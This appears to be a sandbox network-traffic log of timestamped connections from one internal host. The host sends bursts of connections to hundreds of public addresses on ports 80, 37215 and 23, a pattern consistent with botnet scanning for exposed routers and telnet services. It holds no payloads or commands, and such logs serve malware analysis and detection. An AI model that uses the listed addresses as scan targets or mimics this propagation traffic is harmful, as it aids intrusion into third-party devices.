Oct 14, 2024 17:34:18.251460075 CEST	41068	80	192.168.2.14	134.1.143.104
Oct 14, 2024 17:34:18.251470089 CEST	46878	80	192.168.2.14	125.2.94.112
Oct 14, 2024 17:34:18.251470089 CEST	41852	80	192.168.2.14	129.243.112.179
Oct 14, 2024 17:34:18.251471043 CEST	47168	80	192.168.2.14	146.80.94.46
Oct 14, 2024 17:34:18.251470089 CEST	51304	80	192.168.2.14	191.68.234.83
Oct 14, 2024 17:34:18.251473904 CEST	43310	37215	192.168.2.14	41.194.65.164
Oct 14, 2024 17:34:18.251475096 CEST	36946	37215	192.168.2.14	156.251.221.106
Oct 14, 2024 17:34:18.256366968 CEST	80	52210	154.189.149.132	192.168.2.14
Oct 14, 2024 17:34:18.256378889 CEST	80	36206	221.110.37.119	192.168.2.14
Oct 14, 2024 17:34:18.256387949 CEST	80	44670	155.83.97.123	192.168.2.14
Oct 14, 2024 17:34:18.256496906 CEST	52210	80	192.168.2.14	154.189.149.132
Oct 14, 2024 17:34:18.256496906 CEST	52210	80	192.168.2.14	154.189.149.132
Oct 14, 2024 17:34:18.256513119 CEST	36206	80	192.168.2.14	221.110.37.119
Oct 14, 2024 17:34:18.256513119 CEST	36206	80	192.168.2.14	221.110.37.119
Oct 14, 2024 17:34:18.256513119 CEST	36206	80	192.168.2.14	221.110.37.119
Oct 14, 2024 17:34:18.256517887 CEST	44670	80	192.168.2.14	155.83.97.123
Oct 14, 2024 17:34:18.256517887 CEST	44670	80	192.168.2.14	155.83.97.123
Oct 14, 2024 17:34:18.259471893 CEST	36234	80	192.168.2.14	221.110.37.119
Oct 14, 2024 17:34:18.261499882 CEST	80	36206	221.110.37.119	192.168.2.14
Oct 14, 2024 17:34:18.262017965 CEST	80	52210	154.189.149.132	192.168.2.14
Oct 14, 2024 17:34:18.262056112 CEST	52210	80	192.168.2.14	154.189.149.132
Oct 14, 2024 17:34:18.262353897 CEST	80	44670	155.83.97.123	192.168.2.14
Oct 14, 2024 17:34:18.262521982 CEST	44670	80	192.168.2.14	155.83.97.123
Oct 14, 2024 17:34:18.264583111 CEST	80	36234	221.110.37.119	192.168.2.14
Oct 14, 2024 17:34:18.264627934 CEST	36234	80	192.168.2.14	221.110.37.119
Oct 14, 2024 17:34:18.264638901 CEST	36234	80	192.168.2.14	221.110.37.119
Oct 14, 2024 17:34:18.270276070 CEST	80	36234	221.110.37.119	192.168.2.14
Oct 14, 2024 17:34:18.270318031 CEST	36234	80	192.168.2.14	221.110.37.119
Oct 14, 2024 17:34:18.275167942 CEST	80	45246	130.143.3.66	192.168.2.14
Oct 14, 2024 17:34:18.279119968 CEST	80	45762	79.42.6.55	192.168.2.14
Oct 14, 2024 17:34:18.283482075 CEST	53184	37215	192.168.2.14	197.132.23.190
Oct 14, 2024 17:34:18.283482075 CEST	60440	37215	192.168.2.14	197.188.25.161
Oct 14, 2024 17:34:18.283488035 CEST	55188	37215	192.168.2.14	41.151.2.41
Oct 14, 2024 17:34:18.283508062 CEST	42104	80	192.168.2.14	183.57.37.96
Oct 14, 2024 17:34:18.288517952 CEST	37215	53184	197.132.23.190	192.168.2.14
Oct 14, 2024 17:34:18.288528919 CEST	37215	60440	197.188.25.161	192.168.2.14
Oct 14, 2024 17:34:18.288582087 CEST	60440	37215	192.168.2.14	197.188.25.161
Oct 14, 2024 17:34:18.288592100 CEST	53184	37215	192.168.2.14	197.132.23.190
Oct 14, 2024 17:34:18.288655043 CEST	53184	37215	192.168.2.14	197.132.23.190
Oct 14, 2024 17:34:18.288672924 CEST	60440	37215	192.168.2.14	197.188.25.161
Oct 14, 2024 17:34:18.289139986 CEST	48476	37215	192.168.2.14	156.94.110.243
Oct 14, 2024 17:34:18.290127993 CEST	57760	37215	192.168.2.14	197.187.213.39
Oct 14, 2024 17:34:18.291332006 CEST	53714	37215	192.168.2.14	41.86.250.94
Oct 14, 2024 17:34:18.292241096 CEST	34272	37215	192.168.2.14	156.19.5.207
Oct 14, 2024 17:34:18.293508053 CEST	41540	37215	192.168.2.14	156.167.26.48
Oct 14, 2024 17:34:18.294500113 CEST	37215	60440	197.188.25.161	192.168.2.14
Oct 14, 2024 17:34:18.294542074 CEST	60440	37215	192.168.2.14	197.188.25.161
Oct 14, 2024 17:34:18.294589996 CEST	48848	37215	192.168.2.14	156.7.214.17
Oct 14, 2024 17:34:18.294816971 CEST	37215	53184	197.132.23.190	192.168.2.14
Oct 14, 2024 17:34:18.294858932 CEST	53184	37215	192.168.2.14	197.132.23.190
Oct 14, 2024 17:34:18.295605898 CEST	50730	37215	192.168.2.14	156.181.17.206
Oct 14, 2024 17:34:18.296391964 CEST	38676	37215	192.168.2.14	41.69.100.176
Oct 14, 2024 17:34:18.297241926 CEST	37215	34272	156.19.5.207	192.168.2.14
Oct 14, 2024 17:34:18.297305107 CEST	34272	37215	192.168.2.14	156.19.5.207
Oct 14, 2024 17:34:18.297451973 CEST	57332	37215	192.168.2.14	41.142.82.90
Oct 14, 2024 17:34:18.298964977 CEST	60534	37215	192.168.2.14	156.179.121.98
Oct 14, 2024 17:34:18.300060034 CEST	43078	37215	192.168.2.14	41.195.44.60
Oct 14, 2024 17:34:18.301361084 CEST	33390	37215	192.168.2.14	156.202.245.237
Oct 14, 2024 17:34:18.302690029 CEST	36456	37215	192.168.2.14	156.30.236.4
Oct 14, 2024 17:34:18.303302050 CEST	80	36206	221.110.37.119	192.168.2.14
Oct 14, 2024 17:34:18.303729057 CEST	60536	37215	192.168.2.14	197.236.232.219
Oct 14, 2024 17:34:18.304524899 CEST	58712	37215	192.168.2.14	197.209.30.215
Oct 14, 2024 17:34:18.305429935 CEST	37215	43078	41.195.44.60	192.168.2.14
Oct 14, 2024 17:34:18.305510044 CEST	43078	37215	192.168.2.14	41.195.44.60
Oct 14, 2024 17:34:18.305651903 CEST	47208	37215	192.168.2.14	197.253.92.122
Oct 14, 2024 17:34:18.307118893 CEST	46170	37215	192.168.2.14	197.191.9.242
Oct 14, 2024 17:34:18.308538914 CEST	44710	37215	192.168.2.14	197.34.107.191
Oct 14, 2024 17:34:18.310688019 CEST	57116	37215	192.168.2.14	41.82.63.63
Oct 14, 2024 17:34:18.312170029 CEST	40406	37215	192.168.2.14	197.3.228.241
Oct 14, 2024 17:34:18.314342976 CEST	47260	37215	192.168.2.14	156.32.170.157
Oct 14, 2024 17:34:18.315396070 CEST	54402	37215	192.168.2.14	41.237.110.7
Oct 14, 2024 17:34:18.315399885 CEST	37670	37215	192.168.2.14	156.34.154.136
Oct 14, 2024 17:34:18.315597057 CEST	49032	37215	192.168.2.14	197.50.10.101
Oct 14, 2024 17:34:18.317689896 CEST	37215	40406	197.3.228.241	192.168.2.14
Oct 14, 2024 17:34:18.317739964 CEST	40406	37215	192.168.2.14	197.3.228.241
Oct 14, 2024 17:34:18.318124056 CEST	55764	37215	192.168.2.14	156.136.171.234
Oct 14, 2024 17:34:18.319911003 CEST	47274	37215	192.168.2.14	197.73.128.72
Oct 14, 2024 17:34:18.321589947 CEST	58954	37215	192.168.2.14	156.38.51.21
Oct 14, 2024 17:34:18.323441029 CEST	53414	37215	192.168.2.14	197.156.124.4
Oct 14, 2024 17:34:18.324985981 CEST	37215	47274	197.73.128.72	192.168.2.14
Oct 14, 2024 17:34:18.325025082 CEST	47274	37215	192.168.2.14	197.73.128.72
Oct 14, 2024 17:34:18.325119019 CEST	33092	37215	192.168.2.14	156.11.3.32
Oct 14, 2024 17:34:18.326950073 CEST	58956	37215	192.168.2.14	156.43.206.42
Oct 14, 2024 17:34:18.328577042 CEST	38506	37215	192.168.2.14	156.169.50.92
Oct 14, 2024 17:34:18.330498934 CEST	48802	37215	192.168.2.14	197.243.95.105
Oct 14, 2024 17:34:18.331796885 CEST	39836	37215	192.168.2.14	41.218.135.142
Oct 14, 2024 17:34:18.333012104 CEST	45600	37215	192.168.2.14	41.67.31.225
Oct 14, 2024 17:34:18.334176064 CEST	33866	37215	192.168.2.14	197.92.19.86
Oct 14, 2024 17:34:18.335428953 CEST	50200	37215	192.168.2.14	156.118.11.61
Oct 14, 2024 17:34:18.336410999 CEST	53298	37215	192.168.2.14	156.116.2.221
Oct 14, 2024 17:34:18.336801052 CEST	37215	39836	41.218.135.142	192.168.2.14
Oct 14, 2024 17:34:18.336847067 CEST	39836	37215	192.168.2.14	41.218.135.142
Oct 14, 2024 17:34:18.337959051 CEST	60198	37215	192.168.2.14	197.21.219.153
Oct 14, 2024 17:34:18.339498043 CEST	47692	37215	192.168.2.14	197.22.85.41
Oct 14, 2024 17:34:18.340728998 CEST	39444	37215	192.168.2.14	197.121.200.150
Oct 14, 2024 17:34:18.343512058 CEST	50094	37215	192.168.2.14	197.212.109.47
Oct 14, 2024 17:34:18.344343901 CEST	37215	47692	197.22.85.41	192.168.2.14
Oct 14, 2024 17:34:18.344389915 CEST	47692	37215	192.168.2.14	197.22.85.41
Oct 14, 2024 17:34:18.346467972 CEST	35266	37215	192.168.2.14	197.46.40.254
Oct 14, 2024 17:34:18.347402096 CEST	41616	37215	192.168.2.14	41.97.33.14
Oct 14, 2024 17:34:18.347407103 CEST	44614	37215	192.168.2.14	156.251.156.83
Oct 14, 2024 17:34:18.349108934 CEST	51072	37215	192.168.2.14	156.42.6.193
Oct 14, 2024 17:34:18.351339102 CEST	34272	37215	192.168.2.14	156.19.5.207
Oct 14, 2024 17:34:18.351339102 CEST	34272	37215	192.168.2.14	156.19.5.207
Oct 14, 2024 17:34:18.352370977 CEST	34348	37215	192.168.2.14	156.19.5.207
Oct 14, 2024 17:34:18.353281975 CEST	43078	37215	192.168.2.14	41.195.44.60
Oct 14, 2024 17:34:18.353281975 CEST	43078	37215	192.168.2.14	41.195.44.60
Oct 14, 2024 17:34:18.353648901 CEST	43142	37215	192.168.2.14	41.195.44.60
Oct 14, 2024 17:34:18.354336023 CEST	40406	37215	192.168.2.14	197.3.228.241
Oct 14, 2024 17:34:18.354336023 CEST	40406	37215	192.168.2.14	197.3.228.241
Oct 14, 2024 17:34:18.354707003 CEST	40454	37215	192.168.2.14	197.3.228.241
Oct 14, 2024 17:34:18.355423927 CEST	47274	37215	192.168.2.14	197.73.128.72
Oct 14, 2024 17:34:18.355423927 CEST	47274	37215	192.168.2.14	197.73.128.72
Oct 14, 2024 17:34:18.356045961 CEST	47316	37215	192.168.2.14	197.73.128.72
Oct 14, 2024 17:34:18.356398106 CEST	37215	34272	156.19.5.207	192.168.2.14
Oct 14, 2024 17:34:18.356615067 CEST	39836	37215	192.168.2.14	41.218.135.142
Oct 14, 2024 17:34:18.356615067 CEST	39836	37215	192.168.2.14	41.218.135.142
Oct 14, 2024 17:34:18.357278109 CEST	37215	34348	156.19.5.207	192.168.2.14
Oct 14, 2024 17:34:18.357325077 CEST	34348	37215	192.168.2.14	156.19.5.207
Oct 14, 2024 17:34:18.357404947 CEST	39866	37215	192.168.2.14	41.218.135.142
Oct 14, 2024 17:34:18.358292103 CEST	47692	37215	192.168.2.14	197.22.85.41
Oct 14, 2024 17:34:18.358292103 CEST	47692	37215	192.168.2.14	197.22.85.41
Oct 14, 2024 17:34:18.358710051 CEST	47712	37215	192.168.2.14	197.22.85.41
Oct 14, 2024 17:34:18.358776093 CEST	37215	43078	41.195.44.60	192.168.2.14
Oct 14, 2024 17:34:18.359762907 CEST	37215	40406	197.3.228.241	192.168.2.14
Oct 14, 2024 17:34:18.360481024 CEST	34348	37215	192.168.2.14	156.19.5.207
Oct 14, 2024 17:34:18.360681057 CEST	37215	47274	197.73.128.72	192.168.2.14
Oct 14, 2024 17:34:18.362020969 CEST	37215	39836	41.218.135.142	192.168.2.14
Oct 14, 2024 17:34:18.363711119 CEST	37215	47692	197.22.85.41	192.168.2.14
Oct 14, 2024 17:34:18.366080999 CEST	37215	34348	156.19.5.207	192.168.2.14
Oct 14, 2024 17:34:18.366122961 CEST	34348	37215	192.168.2.14	156.19.5.207
Oct 14, 2024 17:34:18.399180889 CEST	37215	43078	41.195.44.60	192.168.2.14
Oct 14, 2024 17:34:18.399243116 CEST	37215	34272	156.19.5.207	192.168.2.14
Oct 14, 2024 17:34:18.403167963 CEST	37215	39836	41.218.135.142	192.168.2.14
Oct 14, 2024 17:34:18.403178930 CEST	37215	47274	197.73.128.72	192.168.2.14
Oct 14, 2024 17:34:18.403187990 CEST	37215	40406	197.3.228.241	192.168.2.14
Oct 14, 2024 17:34:18.407169104 CEST	37215	47692	197.22.85.41	192.168.2.14
Oct 14, 2024 17:34:18.644227028 CEST	23	39840	60.132.195.87	192.168.2.14
Oct 14, 2024 17:34:18.645508051 CEST	39840	23	192.168.2.14	60.132.195.87
Oct 14, 2024 17:34:18.647244930 CEST	40024	23	192.168.2.14	60.132.195.87
Oct 14, 2024 17:34:18.647753000 CEST	29508	23	192.168.2.14	154.155.58.110
Oct 14, 2024 17:34:18.647759914 CEST	29508	23	192.168.2.14	181.211.174.37
Oct 14, 2024 17:34:18.647769928 CEST	29508	23	192.168.2.14	136.14.247.102
Oct 14, 2024 17:34:18.647778034 CEST	29508	23	192.168.2.14	50.94.111.204
Oct 14, 2024 17:34:18.647789001 CEST	29508	23	192.168.2.14	175.225.197.9
Oct 14, 2024 17:34:18.647789001 CEST	29508	23	192.168.2.14	196.29.67.169
Oct 14, 2024 17:34:18.647793055 CEST	29508	23	192.168.2.14	126.254.250.243
Oct 14, 2024 17:34:18.647793055 CEST	29508	23	192.168.2.14	82.5.226.125
Oct 14, 2024 17:34:18.647802114 CEST	29508	23	192.168.2.14	141.249.218.113
Oct 14, 2024 17:34:18.647802114 CEST	29508	23	192.168.2.14	61.2.237.197
Oct 14, 2024 17:34:18.647814035 CEST	29508	23	192.168.2.14	34.71.186.129
Oct 14, 2024 17:34:18.647814989 CEST	29508	23	192.168.2.14	154.201.246.118
Oct 14, 2024 17:34:18.647819996 CEST	29508	23	192.168.2.14	48.21.74.84
Oct 14, 2024 17:34:18.647823095 CEST	29508	23	192.168.2.14	142.16.172.80
Oct 14, 2024 17:34:18.647831917 CEST	29508	23	192.168.2.14	93.97.86.166
Oct 14, 2024 17:34:18.647835016 CEST	29508	23	192.168.2.14	100.175.171.115
Oct 14, 2024 17:34:18.647835016 CEST	29508	23	192.168.2.14	175.115.245.98
Oct 14, 2024 17:34:18.647845030 CEST	29508	23	192.168.2.14	71.168.86.203
Oct 14, 2024 17:34:18.647849083 CEST	29508	23	192.168.2.14	220.221.198.119
Oct 14, 2024 17:34:18.647855043 CEST	29508	23	192.168.2.14	2.215.210.23
Oct 14, 2024 17:34:18.647855997 CEST	29508	23	192.168.2.14	201.205.174.213
Oct 14, 2024 17:34:18.647857904 CEST	29508	23	192.168.2.14	94.227.55.220
Oct 14, 2024 17:34:18.647864103 CEST	29508	23	192.168.2.14	45.252.250.246
Oct 14, 2024 17:34:18.647869110 CEST	29508	23	192.168.2.14	66.68.97.178
Oct 14, 2024 17:34:18.647875071 CEST	29508	23	192.168.2.14	161.1.180.88
Oct 14, 2024 17:34:18.647876978 CEST	29508	23	192.168.2.14	133.13.188.116
Oct 14, 2024 17:34:18.647883892 CEST	29508	23	192.168.2.14	85.194.212.235
Oct 14, 2024 17:34:18.647895098 CEST	29508	23	192.168.2.14	90.154.27.120
Oct 14, 2024 17:34:18.647902012 CEST	29508	23	192.168.2.14	156.57.145.84
Oct 14, 2024 17:34:18.647902012 CEST	29508	23	192.168.2.14	14.170.68.42
Oct 14, 2024 17:34:18.647906065 CEST	29508	23	192.168.2.14	100.149.33.48
Oct 14, 2024 17:34:18.647913933 CEST	29508	23	192.168.2.14	24.165.242.231
Oct 14, 2024 17:34:18.647913933 CEST	29508	23	192.168.2.14	40.133.71.137
Oct 14, 2024 17:34:18.647916079 CEST	29508	23	192.168.2.14	83.126.177.228
Oct 14, 2024 17:34:18.647922039 CEST	29508	23	192.168.2.14	205.31.239.163
Oct 14, 2024 17:34:18.647924900 CEST	29508	23	192.168.2.14	43.79.32.173
Oct 14, 2024 17:34:18.647924900 CEST	29508	23	192.168.2.14	132.217.73.108
Oct 14, 2024 17:34:18.647933960 CEST	29508	23	192.168.2.14	197.130.242.91
Oct 14, 2024 17:34:18.647933960 CEST	29508	23	192.168.2.14	167.38.92.206
Oct 14, 2024 17:34:18.647945881 CEST	29508	23	192.168.2.14	86.130.240.215
Oct 14, 2024 17:34:18.647949934 CEST	29508	23	192.168.2.14	40.120.202.28
Oct 14, 2024 17:34:18.647953033 CEST	29508	23	192.168.2.14	108.24.59.245
Oct 14, 2024 17:34:18.647959948 CEST	29508	23	192.168.2.14	187.109.215.163
Oct 14, 2024 17:34:18.647970915 CEST	29508	23	192.168.2.14	211.201.236.76
Oct 14, 2024 17:34:18.647974968 CEST	29508	23	192.168.2.14	114.217.117.136
Oct 14, 2024 17:34:18.647984982 CEST	29508	23	192.168.2.14	132.70.176.142
Oct 14, 2024 17:34:18.647986889 CEST	29508	23	192.168.2.14	47.217.181.28
Oct 14, 2024 17:34:18.647986889 CEST	29508	23	192.168.2.14	25.176.54.205
Oct 14, 2024 17:34:18.647986889 CEST	29508	23	192.168.2.14	137.110.243.128
Oct 14, 2024 17:34:18.647994995 CEST	29508	23	192.168.2.14	158.254.11.2
Oct 14, 2024 17:34:18.648001909 CEST	29508	23	192.168.2.14	14.120.99.227
Oct 14, 2024 17:34:18.648001909 CEST	29508	23	192.168.2.14	201.169.156.252
Oct 14, 2024 17:34:18.648009062 CEST	29508	23	192.168.2.14	71.73.70.183
Oct 14, 2024 17:34:18.648020983 CEST	29508	23	192.168.2.14	191.67.234.216
Oct 14, 2024 17:34:18.648024082 CEST	29508	23	192.168.2.14	31.18.100.146
Oct 14, 2024 17:34:18.648030996 CEST	29508	23	192.168.2.14	115.78.115.152
Oct 14, 2024 17:34:18.648037910 CEST	29508	23	192.168.2.14	43.129.77.160
Oct 14, 2024 17:34:18.648037910 CEST	29508	23	192.168.2.14	222.221.128.86
Oct 14, 2024 17:34:18.648039103 CEST	29508	23	192.168.2.14	199.153.42.2
Oct 14, 2024 17:34:18.648039103 CEST	29508	23	192.168.2.14	199.213.102.98
Oct 14, 2024 17:34:18.648040056 CEST	29508	23	192.168.2.14	83.30.81.1
Oct 14, 2024 17:34:18.648052931 CEST	29508	23	192.168.2.14	95.123.34.68
Oct 14, 2024 17:34:18.648057938 CEST	29508	23	192.168.2.14	13.46.134.156
Oct 14, 2024 17:34:18.648066044 CEST	29508	23	192.168.2.14	59.100.91.238
Oct 14, 2024 17:34:18.648066044 CEST	29508	23	192.168.2.14	4.156.49.3
Oct 14, 2024 17:34:18.648071051 CEST	29508	23	192.168.2.14	153.194.6.228
Oct 14, 2024 17:34:18.648071051 CEST	29508	23	192.168.2.14	197.132.158.241
Oct 14, 2024 17:34:18.648073912 CEST	29508	23	192.168.2.14	175.43.213.47
Oct 14, 2024 17:34:18.648076057 CEST	29508	23	192.168.2.14	87.214.210.95
Oct 14, 2024 17:34:18.648083925 CEST	29508	23	192.168.2.14	66.203.248.20
Oct 14, 2024 17:34:18.648094893 CEST	29508	23	192.168.2.14	115.230.44.25
Oct 14, 2024 17:34:18.648112059 CEST	29508	23	192.168.2.14	48.120.58.39
Oct 14, 2024 17:34:18.648113966 CEST	29508	23	192.168.2.14	114.1.103.104
Oct 14, 2024 17:34:18.648113966 CEST	29508	23	192.168.2.14	95.55.118.174
Oct 14, 2024 17:34:18.648113966 CEST	29508	23	192.168.2.14	81.159.212.152
Oct 14, 2024 17:34:18.648113966 CEST	29508	23	192.168.2.14	47.112.20.66
Oct 14, 2024 17:34:18.648123980 CEST	29508	23	192.168.2.14	43.109.123.29
Oct 14, 2024 17:34:18.648134947 CEST	29508	23	192.168.2.14	105.209.235.22
Oct 14, 2024 17:34:18.648140907 CEST	29508	23	192.168.2.14	20.88.88.179
Oct 14, 2024 17:34:18.648140907 CEST	29508	23	192.168.2.14	180.63.161.145
Oct 14, 2024 17:34:18.648140907 CEST	29508	23	192.168.2.14	134.159.223.44
Oct 14, 2024 17:34:18.648144007 CEST	29508	23	192.168.2.14	132.83.132.75
Oct 14, 2024 17:34:18.648149014 CEST	29508	23	192.168.2.14	125.162.83.245
Oct 14, 2024 17:34:18.648153067 CEST	29508	23	192.168.2.14	103.89.107.222
Oct 14, 2024 17:34:18.648171902 CEST	29508	23	192.168.2.14	179.38.50.139
Oct 14, 2024 17:34:18.648171902 CEST	29508	23	192.168.2.14	99.198.69.106
Oct 14, 2024 17:34:18.648171902 CEST	29508	23	192.168.2.14	31.44.56.208
Oct 14, 2024 17:34:18.648178101 CEST	29508	23	192.168.2.14	205.11.129.122
Oct 14, 2024 17:34:18.648179054 CEST	29508	23	192.168.2.14	136.195.188.81
Oct 14, 2024 17:34:18.648186922 CEST	29508	23	192.168.2.14	143.159.245.100
Oct 14, 2024 17:34:18.648190022 CEST	29508	23	192.168.2.14	129.113.156.147
Oct 14, 2024 17:34:18.648195028 CEST	29508	23	192.168.2.14	130.163.221.140
Oct 14, 2024 17:34:18.648199081 CEST	29508	23	192.168.2.14	39.112.248.130
Oct 14, 2024 17:34:18.648205996 CEST	29508	23	192.168.2.14	49.11.199.129
Oct 14, 2024 17:34:18.648205996 CEST	29508	23	192.168.2.14	160.44.201.69
Oct 14, 2024 17:34:18.648221016 CEST	29508	23	192.168.2.14	118.216.103.54
Oct 14, 2024 17:34:18.648221016 CEST	29508	23	192.168.2.14	171.227.210.10
Oct 14, 2024 17:34:18.648221016 CEST	29508	23	192.168.2.14	71.220.26.194
Oct 14, 2024 17:34:18.648235083 CEST	29508	23	192.168.2.14	102.129.29.230
Oct 14, 2024 17:34:18.648235083 CEST	29508	23	192.168.2.14	168.243.83.232
Oct 14, 2024 17:34:18.648245096 CEST	29508	23	192.168.2.14	133.191.108.88
Oct 14, 2024 17:34:18.648256063 CEST	29508	23	192.168.2.14	105.202.245.11
Oct 14, 2024 17:34:18.648256063 CEST	29508	23	192.168.2.14	211.142.140.47
Oct 14, 2024 17:34:18.648256063 CEST	29508	23	192.168.2.14	213.212.55.183
Oct 14, 2024 17:34:18.648260117 CEST	29508	23	192.168.2.14	59.128.141.225
Oct 14, 2024 17:34:18.648269892 CEST	29508	23	192.168.2.14	134.86.16.84
Oct 14, 2024 17:34:18.648269892 CEST	29508	23	192.168.2.14	109.237.220.156
Oct 14, 2024 17:34:18.648269892 CEST	29508	23	192.168.2.14	25.213.172.7
Oct 14, 2024 17:34:18.648272038 CEST	29508	23	192.168.2.14	216.176.101.93
Oct 14, 2024 17:34:18.648276091 CEST	29508	23	192.168.2.14	207.185.71.70
Oct 14, 2024 17:34:18.648288012 CEST	29508	23	192.168.2.14	70.215.56.41
Oct 14, 2024 17:34:18.648293972 CEST	29508	23	192.168.2.14	48.31.229.203
Oct 14, 2024 17:34:18.648303986 CEST	29508	23	192.168.2.14	186.129.83.15
Oct 14, 2024 17:34:18.648308039 CEST	29508	23	192.168.2.14	213.248.236.197
Oct 14, 2024 17:34:18.648308039 CEST	29508	23	192.168.2.14	37.156.60.238
Oct 14, 2024 17:34:18.648308039 CEST	29508	23	192.168.2.14	156.223.18.31
Oct 14, 2024 17:34:18.648315907 CEST	29508	23	192.168.2.14	115.142.3.0
Oct 14, 2024 17:34:18.648322105 CEST	29508	23	192.168.2.14	114.36.60.177
Oct 14, 2024 17:34:18.648327112 CEST	29508	23	192.168.2.14	155.148.230.74
Oct 14, 2024 17:34:18.648332119 CEST	29508	23	192.168.2.14	64.204.131.253
Oct 14, 2024 17:34:18.648336887 CEST	29508	23	192.168.2.14	17.9.245.130
Oct 14, 2024 17:34:18.648343086 CEST	29508	23	192.168.2.14	169.20.219.27
Oct 14, 2024 17:34:18.648354053 CEST	29508	23	192.168.2.14	143.34.39.75
Oct 14, 2024 17:34:18.648355007 CEST	29508	23	192.168.2.14	173.24.33.0
Oct 14, 2024 17:34:18.648363113 CEST	29508	23	192.168.2.14	208.49.101.8
Oct 14, 2024 17:34:18.648367882 CEST	29508	23	192.168.2.14	150.200.67.113
Oct 14, 2024 17:34:18.648371935 CEST	29508	23	192.168.2.14	19.127.101.29
Oct 14, 2024 17:34:18.648377895 CEST	29508	23	192.168.2.14	189.45.230.57
Oct 14, 2024 17:34:18.648386955 CEST	29508	23	192.168.2.14	145.108.48.11
Oct 14, 2024 17:34:18.648390055 CEST	29508	23	192.168.2.14	12.21.28.102
Oct 14, 2024 17:34:18.648390055 CEST	29508	23	192.168.2.14	151.246.222.110
Oct 14, 2024 17:34:18.648391962 CEST	29508	23	192.168.2.14	87.186.188.25
Oct 14, 2024 17:34:18.648397923 CEST	29508	23	192.168.2.14	88.44.96.123
Oct 14, 2024 17:34:18.648402929 CEST	29508	23	192.168.2.14	81.242.49.98
Oct 14, 2024 17:34:18.648411989 CEST	29508	23	192.168.2.14	50.87.93.13
Oct 14, 2024 17:34:18.648411989 CEST	29508	23	192.168.2.14	150.77.245.176
Oct 14, 2024 17:34:18.648411989 CEST	29508	23	192.168.2.14	156.134.71.126
Oct 14, 2024 17:34:18.648420095 CEST	29508	23	192.168.2.14	85.42.76.89
Oct 14, 2024 17:34:18.648425102 CEST	29508	23	192.168.2.14	81.210.35.26
Oct 14, 2024 17:34:18.648431063 CEST	29508	23	192.168.2.14	75.169.102.4
Oct 14, 2024 17:34:18.648435116 CEST	29508	23	192.168.2.14	73.116.176.8
Oct 14, 2024 17:34:18.648438931 CEST	29508	23	192.168.2.14	9.86.38.34
Oct 14, 2024 17:34:18.648438931 CEST	29508	23	192.168.2.14	188.83.216.7
Oct 14, 2024 17:34:18.648443937 CEST	29508	23	192.168.2.14	70.191.218.243
Oct 14, 2024 17:34:18.648453951 CEST	29508	23	192.168.2.14	135.241.156.113
Oct 14, 2024 17:34:18.648458958 CEST	29508	23	192.168.2.14	79.108.176.230
Oct 14, 2024 17:34:18.648463964 CEST	29508	23	192.168.2.14	95.218.101.209
Oct 14, 2024 17:34:18.648473978 CEST	29508	23	192.168.2.14	204.247.38.182
Oct 14, 2024 17:34:18.648484945 CEST	29508	23	192.168.2.14	37.225.145.109
Oct 14, 2024 17:34:18.648488045 CEST	29508	23	192.168.2.14	40.80.128.214
Oct 14, 2024 17:34:18.648499966 CEST	29508	23	192.168.2.14	206.22.111.13
Oct 14, 2024 17:34:18.648504019 CEST	29508	23	192.168.2.14	77.128.136.8
Oct 14, 2024 17:34:18.648504019 CEST	29508	23	192.168.2.14	110.182.254.114
Oct 14, 2024 17:34:18.648508072 CEST	29508	23	192.168.2.14	167.23.223.193
Oct 14, 2024 17:34:18.648514032 CEST	29508	23	192.168.2.14	218.162.131.99
Oct 14, 2024 17:34:18.648515940 CEST	29508	23	192.168.2.14	208.199.82.12
Oct 14, 2024 17:34:18.648516893 CEST	29508	23	192.168.2.14	61.175.124.164
Oct 14, 2024 17:34:18.648515940 CEST	29508	23	192.168.2.14	90.190.167.28
Oct 14, 2024 17:34:18.648515940 CEST	29508	23	192.168.2.14	114.18.153.44
Oct 14, 2024 17:34:18.648523092 CEST	29508	23	192.168.2.14	165.250.32.14
Oct 14, 2024 17:34:18.648524046 CEST	29508	23	192.168.2.14	24.118.219.144
Oct 14, 2024 17:34:18.648525953 CEST	29508	23	192.168.2.14	13.129.56.58
Oct 14, 2024 17:34:18.648531914 CEST	29508	23	192.168.2.14	149.155.227.162
Oct 14, 2024 17:34:18.648538113 CEST	29508	23	192.168.2.14	190.223.46.225
Oct 14, 2024 17:34:18.648540974 CEST	29508	23	192.168.2.14	4.48.181.105
Oct 14, 2024 17:34:18.648545980 CEST	29508	23	192.168.2.14	118.3.48.49
Oct 14, 2024 17:34:18.648551941 CEST	29508	23	192.168.2.14	142.116.189.94
Oct 14, 2024 17:34:18.648556948 CEST	29508	23	192.168.2.14	86.200.7.240
Oct 14, 2024 17:34:18.648561954 CEST	29508	23	192.168.2.14	31.82.66.150
Oct 14, 2024 17:34:18.648561954 CEST	29508	23	192.168.2.14	192.19.211.140
Oct 14, 2024 17:34:18.648570061 CEST	29508	23	192.168.2.14	155.9.180.157
Oct 14, 2024 17:34:18.648575068 CEST	29508	23	192.168.2.14	211.99.202.11
Oct 14, 2024 17:34:18.648575068 CEST	29508	23	192.168.2.14	17.164.47.24
Oct 14, 2024 17:34:18.648586035 CEST	29508	23	192.168.2.14	51.33.204.248
Oct 14, 2024 17:34:18.648586035 CEST	29508	23	192.168.2.14	44.34.238.35
Oct 14, 2024 17:34:18.648588896 CEST	29508	23	192.168.2.14	202.176.148.252
Oct 14, 2024 17:34:18.648597002 CEST	29508	23	192.168.2.14	40.120.131.179
Oct 14, 2024 17:34:18.648597002 CEST	29508	23	192.168.2.14	178.124.84.140
Oct 14, 2024 17:34:18.648597002 CEST	29508	23	192.168.2.14	161.218.71.36
Oct 14, 2024 17:34:18.648597002 CEST	29508	23	192.168.2.14	58.120.242.48
Oct 14, 2024 17:34:18.648606062 CEST	29508	23	192.168.2.14	203.55.216.4
Oct 14, 2024 17:34:18.648613930 CEST	29508	23	192.168.2.14	204.32.19.8
Oct 14, 2024 17:34:18.648619890 CEST	29508	23	192.168.2.14	34.120.190.52
Oct 14, 2024 17:34:18.648627996 CEST	29508	23	192.168.2.14	93.151.229.51
Oct 14, 2024 17:34:18.648627996 CEST	29508	23	192.168.2.14	80.120.39.253
Oct 14, 2024 17:34:18.648628950 CEST	29508	23	192.168.2.14	145.53.88.190
Oct 14, 2024 17:34:18.648636103 CEST	29508	23	192.168.2.14	42.214.112.150
Oct 14, 2024 17:34:18.648652077 CEST	29508	23	192.168.2.14	50.22.15.185
Oct 14, 2024 17:34:18.648652077 CEST	29508	23	192.168.2.14	180.100.94.139
Oct 14, 2024 17:34:18.648658037 CEST	29508	23	192.168.2.14	14.99.72.10
